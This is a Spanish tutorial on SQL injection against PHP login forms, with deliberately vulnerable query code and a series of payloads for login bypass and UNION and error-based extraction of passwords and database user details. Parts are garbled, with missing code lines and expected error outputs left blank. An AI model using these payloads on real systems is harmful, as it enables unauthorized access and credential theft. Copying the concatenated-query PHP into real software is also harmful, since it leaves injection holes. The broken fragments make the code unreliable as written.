La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.
Atención
Es recomendable tener un poco de conocimiento en PHP para el mejor entendimiento de los Códigos.
Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.
Ejemplo 1
$pass=$_POST[‘pass’];
$sql=»SELECT * FROM usuarios WHERE user = ‘$us’ AND password=’$pass'»;
echo «Inicio de sesión correcto»; // Esto fue modificado
}
como podemos hacer que no devuelva false??
- Con el password correcto
- Haciendo trampa
En este caso como no conocemos el password correcto usaremos la segunda opción:
Haciendo trampa.. se haría algo así:
SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario betito, y de password pass1234.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibirá seria :
SELECT * FROM usuarios WHERE user = 'betito' AND password='pass1234'
de usuario: betito
de password: ‘ OR »=’la sentencia SQL recibira:
SELECT * FROM usuarios WHERE user = 'betito' AND password='' OR ''=''
nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como el usuario betito.
Otros posibles valores que devuelven true son:
- usuario: betito AND /* password: */ »=’
- usuario: ‘ OR 1=1 //
Ahora… que si quisieras saber el password.. (te advierto, que normalmente esta cifrado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo.
$pas=$_POST[‘pass’];
if($_GET[‘usuario’] || $_GET[‘pass’]){
die(«Hack Attempt»);
}
$sql=»SELECT password FROM usuarios WHERE user = ‘$us'»;
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo «Inicio de sesión exitoso»; // Esto fue modificado
}else{
echo «el password $resp es incorrecto»;
}
}
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ‘ OR »=’, como la inyección clasica, pasada.Ahora, queremos sacar el password.. pero.. ¿como?
Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
- Necesitas meter la misma cantidad de valores que tiene la tabla.
- Tener un informe de los errores que provocaremos en la instrucción
Bien ahora empezemos.
la instrucción a modificar es la siguiente:
SELECT password FROM usuarios WHERE user = '$us'como ejemplo, si colocamos de usuario: maestro
la instrucción que llega seria:
regresemos al UNION.
UNION necesita que el numero de columnas sea igual, sino sacara un error.
y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.
el UNION se usa de esta forma:
usuario: ‘ AND 0 UNION SELECT 1 AND ‘l’=’
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''
para lo cual SQL nos respondera:
Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)
Quedaria algo así:
‘ UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = ‘maestro’
la sentencia seria esta:
SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'maestro'
que nos da como error:
donde el password es 12345
‘ AND 0 UNION SELECT 1,user(),3,4,5 AND ‘l’=’
y nos regresa:
que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:
‘ AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND »l=’
y eso nos regresa: